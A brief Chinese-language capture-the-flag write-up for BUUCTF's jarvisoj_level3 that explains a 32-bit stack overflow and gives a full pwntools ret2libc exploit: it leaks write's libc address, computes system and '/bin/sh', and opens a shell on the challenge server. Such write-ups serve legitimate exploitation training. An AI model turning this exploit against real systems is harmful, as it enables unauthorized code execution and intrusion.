BUUCTF—jarvisoj_level3
先看看开了什么保护机制
打开32位ida看看
点开vulnerable_function函数看看
一个0x18大小的栈溢出,要是换做64位肯定不够,但是32位够的,然后我们去看看有没有后门函数
好叭,没有,不过有write,倒也还好,我们可以泄露libc地址,所以这题就是write泄露libc地址,然后再来一遍栈溢出调用system函数就行了
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',25140)
elf=ELF('level3')
libc=ELF('./libc-2.23.so')
write_got=elf.got['write']
write_plt=elf.plt['write']
vuln=0x0804844b
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh\x00').__next__()
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()